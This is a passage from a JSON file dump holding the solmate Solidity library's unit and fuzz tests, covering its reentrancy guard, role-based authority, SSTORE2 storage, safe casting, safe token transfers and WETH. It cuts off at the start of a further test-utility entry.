    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/ReentrancyGuard.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {ReentrancyGuard} from \"../utils/ReentrancyGuard.sol\";\n\ncontract RiskyContract is ReentrancyGuard {\n    uint256 public enterTimes;\n\n    function unprotectedCall() public {\n        enterTimes++;\n\n        if (enterTimes > 1) return;\n\n        protectedCall();\n    }\n\n    function protectedCall() public nonReentrant {\n        enterTimes++;\n\n        if (enterTimes > 1) return;\n\n        protectedCall();\n    }\n\n    function overprotectedCall() public nonReentrant {}\n}\n\ncontract ReentrancyGuardTest is DSTestPlus {\n    RiskyContract riskyContract;\n\n    function setUp() public {\n        riskyContract = new RiskyContract();\n    }\n\n    function invariantReentrancyStatusAlways1() public {\n        assertEq(uint256(hevm.load(address(riskyContract), 0)), 1);\n    }\n\n    function testFailUnprotectedCall() public {\n        riskyContract.unprotectedCall();\n\n        assertEq(riskyContract.enterTimes(), 1);\n    }\n\n    function testProtectedCall() public {\n        try riskyContract.protectedCall() {\n            fail(\"Reentrancy Guard Failed To Stop Attacker\");\n        } catch {}\n    }\n\n    function testNoReentrancy() public {\n        riskyContract.overprotectedCall();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/RolesAuthority.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockAuthority} from \"./utils/mocks/MockAuthority.sol\";\n\nimport {Authority} from \"../auth/Auth.sol\";\n\nimport {RolesAuthority} from \"../auth/authorities/RolesAuthority.sol\";\n\ncontract RolesAuthorityTest is DSTestPlus {\n    RolesAuthority rolesAuthority;\n\n    function setUp() public {\n        rolesAuthority = new RolesAuthority(address(this), Authority(address(0)));\n    }\n\n    function testSetRoles() public {\n        assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertTrue(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n    }\n\n    function testSetRoleCapabilities() public {\n        assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testSetPublicCapabilities() public {\n        assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithAuthorizedRole() public {\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallPublicCapability() public {\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testSetRoles(address user, uint8 role) public {\n        assertFalse(rolesAuthority.doesUserHaveRole(user, role));\n\n        rolesAuthority.setUserRole(user, role, true);\n        assertTrue(rolesAuthority.doesUserHaveRole(user, role));\n\n        rolesAuthority.setUserRole(user, role, false);\n        assertFalse(rolesAuthority.doesUserHaveRole(user, role));\n    }\n\n    function testSetRoleCapabilities(\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, true);\n        assertTrue(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, false);\n        assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));\n    }\n\n    function testSetPublicCapabilities(address target, bytes4 functionSig) public {\n        assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, true);\n        assertTrue(rolesAuthority.isCapabilityPublic(target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, false);\n        assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));\n    }\n\n    function testCanCallWithAuthorizedRole(\n        address user,\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setUserRole(user, role, true);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, true);\n        assertTrue(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, false);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, true);\n        assertTrue(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setUserRole(user, role, false);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallPublicCapability(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, true);\n        assertTrue(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, false);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/SSTORE2.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {SSTORE2} from \"../utils/SSTORE2.sol\";\n\ncontract SSTORE2Test is DSTestPlus {\n    function testWriteRead() public {\n        bytes memory testBytes = abi.encode(\"this is a test\");\n\n        address pointer = SSTORE2.write(testBytes);\n\n        assertBytesEq(SSTORE2.read(pointer), testBytes);\n    }\n\n    function testWriteReadFullStartBound() public {\n        assertBytesEq(SSTORE2.read(SSTORE2.write(hex\"11223344\"), 0), hex\"11223344\");\n    }\n\n    function testWriteReadCustomStartBound() public {\n        assertBytesEq(SSTORE2.read(SSTORE2.write(hex\"11223344\"), 1), hex\"223344\");\n    }\n\n    function testWriteReadFullBoundedRead() public {\n        bytes memory testBytes = abi.encode(\"this is a test\");\n\n        assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), 0, testBytes.length), testBytes);\n    }\n\n    function testWriteReadCustomBounds() public {\n        assertBytesEq(SSTORE2.read(SSTORE2.write(hex\"11223344\"), 1, 3), hex\"2233\");\n    }\n\n    function testWriteReadEmptyBound() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 3, 3);\n    }\n\n    function testFailReadInvalidPointer() public view {\n        SSTORE2.read(DEAD_ADDRESS);\n    }\n\n    function testFailReadInvalidPointerCustomStartBound() public view {\n        SSTORE2.read(DEAD_ADDRESS, 1);\n    }\n\n    function testFailReadInvalidPointerCustomBounds() public view {\n        SSTORE2.read(DEAD_ADDRESS, 2, 4);\n    }\n\n    function testFailWriteReadOutOfStartBound() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 41000);\n    }\n\n    function testFailWriteReadEmptyOutOfBounds() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 42000, 42000);\n    }\n\n    function testFailWriteReadOutOfBounds() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 41000, 42000);\n    }\n\n    function testWriteRead(bytes calldata testBytes) public {\n        assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes)), testBytes);\n    }\n\n    function testWriteReadCustomStartBound(bytes calldata testBytes, uint256 startIndex) public {\n        if (testBytes.length == 0) return;\n\n        startIndex = bound(startIndex, 0, testBytes.length);\n\n        assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), startIndex), bytes(testBytes[startIndex:]));\n    }\n\n    function testWriteReadCustomBounds(\n        bytes calldata testBytes,\n        uint256 startIndex,\n        uint256 endIndex\n    ) public {\n        if (testBytes.length == 0) return;\n\n        endIndex = bound(endIndex, 0, testBytes.length);\n        startIndex = bound(startIndex, 0, testBytes.length);\n\n        if (startIndex > endIndex) return;\n\n        assertBytesEq(\n            SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex),\n            bytes(testBytes[startIndex:endIndex])\n        );\n    }\n\n    function testFailReadInvalidPointer(address pointer) public view {\n        SSTORE2.read(pointer);\n    }\n\n    function testFailReadInvalidPointerCustomStartBound(address pointer, uint256 startIndex) public view {\n        SSTORE2.read(pointer, startIndex);\n    }\n\n    function testFailReadInvalidPointerCustomBounds(\n        address pointer,\n        uint256 startIndex,\n        uint256 endIndex\n    ) public view {\n        SSTORE2.read(pointer, startIndex, endIndex);\n    }\n\n    function testFailWriteReadCustomStartBoundOutOfRange(bytes calldata testBytes, uint256 startIndex) public {\n        startIndex = bound(startIndex, testBytes.length + 1, type(uint256).max);\n\n        SSTORE2.read(SSTORE2.write(testBytes), startIndex);\n    }\n\n    function testFailWriteReadCustomBoundsOutOfRange(\n        bytes calldata testBytes,\n        uint256 startIndex,\n        uint256 endIndex\n    ) public {\n        endIndex = bound(endIndex, startIndex + 1, type(uint256).max);\n\n        SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/SafeCastLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {SafeCastLib} from \"../utils/SafeCastLib.sol\";\n\ncontract SafeCastLibTest is DSTestPlus {\n    function testSafeCastTo248() public {\n        assertEq(SafeCastLib.safeCastTo248(2.5e45), 2.5e45);\n        assertEq(SafeCastLib.safeCastTo248(2.5e27), 2.5e27);\n    }\n\n    function testSafeCastTo224() public {\n        assertEq(SafeCastLib.safeCastTo224(2.5e36), 2.5e36);\n        assertEq(SafeCastLib.safeCastTo224(2.5e27), 2.5e27);\n    }\n\n    function testSafeCastTo128() public {\n        assertEq(SafeCastLib.safeCastTo128(2.5e27), 2.5e27);\n        assertEq(SafeCastLib.safeCastTo128(2.5e18), 2.5e18);\n    }\n\n    function testSafeCastTo96() public {\n        assertEq(SafeCastLib.safeCastTo96(2.5e18), 2.5e18);\n        assertEq(SafeCastLib.safeCastTo96(2.5e17), 2.5e17);\n    }\n\n    function testSafeCastTo64() public {\n        assertEq(SafeCastLib.safeCastTo64(2.5e18), 2.5e18);\n        assertEq(SafeCastLib.safeCastTo64(2.5e17), 2.5e17);\n    }\n\n    function testSafeCastTo32() public {\n        assertEq(SafeCastLib.safeCastTo32(2.5e8), 2.5e8);\n        assertEq(SafeCastLib.safeCastTo32(2.5e7), 2.5e7);\n    }\n\n    function testSafeCastTo8() public {\n        assertEq(SafeCastLib.safeCastTo8(100), 100);\n        assertEq(SafeCastLib.safeCastTo8(250), 250);\n    }\n\n    function testFailSafeCastTo248() public pure {\n        SafeCastLib.safeCastTo248(type(uint248).max + 1);\n    }\n\n    function testFailSafeCastTo224() public pure {\n        SafeCastLib.safeCastTo224(type(uint224).max + 1);\n    }\n\n    function testFailSafeCastTo128() public pure {\n        SafeCastLib.safeCastTo128(type(uint128).max + 1);\n    }\n\n    function testFailSafeCastTo96() public pure {\n        SafeCastLib.safeCastTo96(type(uint96).max + 1);\n    }\n\n    function testFailSafeCastTo64() public pure {\n        SafeCastLib.safeCastTo64(type(uint64).max + 1);\n    }\n\n    function testFailSafeCastTo32() public pure {\n        SafeCastLib.safeCastTo32(type(uint32).max + 1);\n    }\n\n    function testFailSafeCastTo8() public pure {\n        SafeCastLib.safeCastTo8(type(uint8).max + 1);\n    }\n\n    function testSafeCastTo248(uint256 x) public {\n        x = bound(x, 0, type(uint248).max);\n\n        assertEq(SafeCastLib.safeCastTo248(x), x);\n    }\n\n    function testSafeCastTo224(uint256 x) public {\n        x = bound(x, 0, type(uint224).max);\n\n        assertEq(SafeCastLib.safeCastTo224(x), x);\n    }\n\n    function testSafeCastTo128(uint256 x) public {\n        x = bound(x, 0, type(uint128).max);\n\n        assertEq(SafeCastLib.safeCastTo128(x), x);\n    }\n\n    function testSafeCastTo96(uint256 x) public {\n        x = bound(x, 0, type(uint96).max);\n\n        assertEq(SafeCastLib.safeCastTo96(x), x);\n    }\n\n    function testSafeCastTo64(uint256 x) public {\n        x = bound(x, 0, type(uint64).max);\n\n        assertEq(SafeCastLib.safeCastTo64(x), x);\n    }\n\n    function testSafeCastTo32(uint256 x) public {\n        x = bound(x, 0, type(uint32).max);\n\n        assertEq(SafeCastLib.safeCastTo32(x), x);\n    }\n\n    function testSafeCastTo8(uint256 x) public {\n        x = bound(x, 0, type(uint8).max);\n\n        assertEq(SafeCastLib.safeCastTo8(x), x);\n    }\n\n    function testFailSafeCastTo248(uint256 x) public pure {\n        x = bound(x, type(uint248).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo248(x);\n    }\n\n    function testFailSafeCastTo224(uint256 x) public pure {\n        x = bound(x, type(uint224).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo224(x);\n    }\n\n    function testFailSafeCastTo128(uint256 x) public pure {\n        x = bound(x, type(uint128).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo128(x);\n    }\n\n    function testFailSafeCastTo96(uint256 x) public pure {\n        x = bound(x, type(uint96).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo96(x);\n    }\n\n    function testFailSafeCastTo64(uint256 x) public pure {\n        x = bound(x, type(uint64).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo64(x);\n    }\n\n    function testFailSafeCastTo32(uint256 x) public pure {\n        x = bound(x, type(uint32).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo32(x);\n    }\n\n    function testFailSafeCastTo8(uint256 x) public pure {\n        x = bound(x, type(uint8).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo8(x);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/SafeTransferLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {ERC20} from \"weird-erc20/ERC20.sol\";\nimport {ReturnsFalseToken} from \"weird-erc20/ReturnsFalse.sol\";\nimport {MissingReturnToken} from \"weird-erc20/MissingReturns.sol\";\nimport {TransferFromSelfToken} from \"weird-erc20/TransferFromSelf.sol\";\nimport {PausableToken} from \"weird-erc20/Pausable.sol\";\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {SafeTransferLib, ERC20 as SolmateERC20} from \"../utils/SafeTransferLib.sol\";\n\ncontract SafeTransferLibTest is DSTestPlus {\n    ReturnsFalseToken returnsFalse;\n    MissingReturnToken missingReturn;\n    TransferFromSelfToken transferFromSelf;\n    PausableToken pausable;\n\n    ERC20 erc20;\n\n    function setUp() public {\n        returnsFalse = new ReturnsFalseToken(type(uint256).max);\n        missingReturn = new MissingReturnToken(type(uint256).max);\n        transferFromSelf = new TransferFromSelfToken(type(uint256).max);\n\n        pausable = new PausableToken(type(uint256).max);\n        pausable.stop();\n\n        erc20 = new ERC20(type(uint256).max);\n    }\n\n    function testTransferWithMissingReturn() public {\n        verifySafeTransfer(address(missingReturn), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithTransferFromSelf() public {\n        verifySafeTransfer(address(transferFromSelf), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithStandardERC20() public {\n        verifySafeTransfer(address(erc20), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithNonContract() public {\n        SafeTransferLib.safeTransfer(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithMissingReturn() public {\n        verifySafeTransferFrom(address(missingReturn), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithTransferFromSelf() public {\n        verifySafeTransferFrom(address(transferFromSelf), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithStandardERC20() public {\n        verifySafeTransferFrom(address(erc20), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithNonContract() public {\n        SafeTransferLib.safeTransferFrom(SolmateERC20(address(0xBADBEEF)), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithMissingReturn() public {\n        verifySafeApprove(address(missingReturn), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithTransferFromSelf() public {\n        verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithStandardERC20() public {\n        verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithNonContract() public {\n        SafeTransferLib.safeApprove(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);\n    }\n\n    function testTransferETH() public {\n        SafeTransferLib.safeTransferETH(address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferWithReturnsFalse() public {\n        verifySafeTransfer(address(returnsFalse), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferWithPausable() public {\n        verifySafeTransfer(address(pausable), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromWithReturnsFalse() public {\n        verifySafeTransferFrom(address(returnsFalse), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromWithPausable() public {\n        verifySafeTransferFrom(address(pausable), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testFailApproveWithReturnsFalse() public {\n        verifySafeApprove(address(returnsFalse), address(0xBEEF), 1e18);\n    }\n\n    function testFailApproveWithPausable() public {\n        verifySafeApprove(address(pausable), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithMissingReturn(address to, uint256 amount) public {\n        verifySafeTransfer(address(missingReturn), to, amount);\n    }\n\n    function testTransferWithTransferFromSelf(address to, uint256 amount) public {\n        verifySafeTransfer(address(transferFromSelf), to, amount);\n    }\n\n    function testTransferWithStandardERC20(address to, uint256 amount) public {\n        verifySafeTransfer(address(erc20), to, amount);\n    }\n\n    function testFailTransferETHToContractWithoutFallback() public {\n        SafeTransferLib.safeTransferETH(address(this), 1e18);\n    }\n\n    function testTransferWithNonContract(\n        address nonContract,\n        address to,\n        uint256 amount\n    ) public {\n        if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;\n\n        SafeTransferLib.safeTransfer(SolmateERC20(nonContract), to, amount);\n    }\n\n    function testTransferFromWithMissingReturn(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(missingReturn), from, to, amount);\n    }\n\n    function testTransferFromWithTransferFromSelf(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(transferFromSelf), from, to, amount);\n    }\n\n    function testTransferFromWithStandardERC20(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(erc20), from, to, amount);\n    }\n\n    function testTransferFromWithNonContract(\n        address nonContract,\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;\n\n        SafeTransferLib.safeTransferFrom(SolmateERC20(nonContract), from, to, amount);\n    }\n\n    function testApproveWithMissingReturn(address to, uint256 amount) public {\n        verifySafeApprove(address(missingReturn), to, amount);\n    }\n\n    function testApproveWithTransferFromSelf(address to, uint256 amount) public {\n        verifySafeApprove(address(transferFromSelf), to, amount);\n    }\n\n    function testApproveWithStandardERC20(address to, uint256 amount) public {\n        verifySafeApprove(address(transferFromSelf), to, amount);\n    }\n\n    function testApproveWithNonContract(\n        address nonContract,\n        address to,\n        uint256 amount\n    ) public {\n        if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;\n\n        SafeTransferLib.safeApprove(SolmateERC20(nonContract), to, amount);\n    }\n\n    function testTransferETH(address recipient, uint256 amount) public {\n        if (uint256(uint160(recipient)) <= 18) return;\n\n        amount = bound(amount, 0, address(this).balance);\n\n        SafeTransferLib.safeTransferETH(recipient, amount);\n    }\n\n    function testFailTransferWithReturnsFalse(address to, uint256 amount) public {\n        verifySafeTransfer(address(returnsFalse), to, amount);\n    }\n\n    function testFailTransferWithPausable(address to, uint256 amount) public {\n        verifySafeTransfer(address(pausable), to, amount);\n    }\n\n    function testFailTransferFromWithReturnsFalse(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(returnsFalse), from, to, amount);\n    }\n\n    function testFailTransferFromWithPausable(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(pausable), from, to, amount);\n    }\n\n    function testFailApproveWithReturnsFalse(address to, uint256 amount) public {\n        verifySafeApprove(address(returnsFalse), to, amount);\n    }\n\n    function testFailApproveWithPausable(address to, uint256 amount) public {\n        verifySafeApprove(address(pausable), to, amount);\n    }\n\n    function testFailTransferETHToContractWithoutFallback(uint256 amount) public {\n        SafeTransferLib.safeTransferETH(address(this), amount);\n    }\n\n    function verifySafeTransfer(\n        address token,\n        address to,\n        uint256 amount\n    ) internal {\n        uint256 preBal = ERC20(token).balanceOf(to);\n        SafeTransferLib.safeTransfer(SolmateERC20(address(token)), to, amount);\n        uint256 postBal = ERC20(token).balanceOf(to);\n\n        if (to == address(this)) {\n            assertEq(preBal, postBal);\n        } else {\n            assertEq(postBal - preBal, amount);\n        }\n    }\n\n    function verifySafeTransferFrom(\n        address token,\n        address from,\n        address to,\n        uint256 amount\n    ) internal {\n        forceApprove(token, from, address(this), amount);\n        SafeTransferLib.safeTransfer(SolmateERC20(token), from, amount);\n\n        uint256 preBal = ERC20(token).balanceOf(to);\n        SafeTransferLib.safeTransferFrom(SolmateERC20(token), from, to, amount);\n        uint256 postBal = ERC20(token).balanceOf(to);\n\n        if (from == to) {\n            assertEq(preBal, postBal);\n        } else {\n            assertEq(postBal - preBal, amount);\n        }\n    }\n\n    function verifySafeApprove(\n        address token,\n        address to,\n        uint256 amount\n    ) internal {\n        SafeTransferLib.safeApprove(SolmateERC20(address(token)), to, amount);\n\n        assertEq(ERC20(token).allowance(address(this), to), amount);\n    }\n\n    function forceApprove(\n        address token,\n        address from,\n        address to,\n        uint256 amount\n    ) internal {\n        uint256 slot = token == address(erc20) || token == address(pausable) ? 3 : 2;\n\n        hevm.store(\n            token,\n            keccak256(abi.encode(to, keccak256(abi.encode(from, uint256(slot))))),\n            bytes32(uint256(amount))\n        );\n\n        assertEq(ERC20(token).allowance(from, to), amount, \"wrong allowance\");\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/WETH.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {SafeTransferLib} from \"../utils/SafeTransferLib.sol\";\n\nimport {WETH} from \"../tokens/WETH.sol\";\n\ncontract WETHTest is DSTestPlus {\n    WETH weth;\n\n    function setUp() public {\n        weth = new WETH();\n    }\n\n    function testDeposit() public {\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        SafeTransferLib.safeTransferETH(address(weth), 1 ether);\n\n        assertEq(weth.balanceOf(address(this)), 1 ether);\n        assertEq(weth.totalSupply(), 1 ether);\n    }\n\n    function testFallbackDeposit() public {\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        weth.deposit{value: 1 ether}();\n\n        assertEq(weth.balanceOf(address(this)), 1 ether);\n        assertEq(weth.totalSupply(), 1 ether);\n    }\n\n    function testWithdraw() public {\n        uint256 startingBalance = address(this).balance;\n\n        weth.deposit{value: 1 ether}();\n\n        weth.withdraw(1 ether);\n\n        uint256 balanceAfterWithdraw = address(this).balance;\n\n        assertEq(balanceAfterWithdraw, startingBalance);\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n    }\n\n    function testPartialWithdraw() public {\n        weth.deposit{value: 1 ether}();\n\n        uint256 balanceBeforeWithdraw = address(this).balance;\n\n        weth.withdraw(0.5 ether);\n\n        uint256 balanceAfterWithdraw = address(this).balance;\n\n        assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + 0.5 ether);\n        assertEq(weth.balanceOf(address(this)), 0.5 ether);\n        assertEq(weth.totalSupply(), 0.5 ether);\n    }\n\n    function testDeposit(uint256 amount) public {\n        amount = bound(amount, 0, address(this).balance);\n\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        SafeTransferLib.safeTransferETH(address(weth), amount);\n\n        assertEq(weth.balanceOf(address(this)), amount);\n        assertEq(weth.totalSupply(), amount);\n    }\n\n    function testFallbackDeposit(uint256 amount) public {\n        amount = bound(amount, 0, address(this).balance);\n\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        weth.deposit{value: amount}();\n\n        assertEq(weth.balanceOf(address(this)), amount);\n        assertEq(weth.totalSupply(), amount);\n    }\n\n    function testWithdraw(uint256 depositAmount, uint256 withdrawAmount) public {\n        depositAmount = bound(depositAmount, 0, address(this).balance);\n        withdrawAmount = bound(withdrawAmount, 0, depositAmount);\n\n        weth.deposit{value: depositAmount}();\n\n        uint256 balanceBeforeWithdraw = address(this).balance;\n\n        weth.withdraw(withdrawAmount);\n\n        uint256 balanceAfterWithdraw = address(this).balance;\n\n        assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + withdrawAmount);\n        assertEq(weth.balanceOf(address(this)), depositAmount - withdrawAmount);\n        assertEq(weth.totalSupply(), depositAmount - withdrawAmount);\n    }\n\n    receive() external payable {}\n}\n\ncontract WETHInvariants is DSTestPlus, DSInvariantTest {\n    WETHTester wethTester;\n    WETH weth;\n\n    function setUp() public {\n        weth = new WETH();\n        wethTester = new WETHTester{value: address(this).balance}(weth);\n\n        addTargetContract(address(wethTester));\n    }\n\n    function invariantTotalSupplyEqualsBalance() public {\n        assertEq(address(weth).balance, weth.totalSupply());\n    }\n}\n\ncontract WETHTester {\n    WETH weth;\n\n    constructor(WETH _weth) payable {\n        weth = _weth;\n    }\n\n    function deposit(uint256 amount) public {\n        weth.deposit{value: amount}();\n    }\n\n    function fallbackDeposit(uint256 amount) public {\n        SafeTransferLib.safeTransferETH(address(weth), amount);\n    }\n\n    function withdraw(uint256 amount) public {\n        weth.withdraw(amount);\n    }\n\n    receive() external payable {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/DSInvariantTest.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\ncontract DSInvariantTest {\n    address[] private targets;\n\n    function targetContracts() public view virtual returns (address[] memory) {\n        require(targets.length > 0, \"NO_TARGET_CONTRACTS\");\n\n        return targets;\n    }\n\n    function addTargetContract(address newTargetContract) internal virtual {\n        targets.push(newTargetContract);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/DSTestPlus.sol",
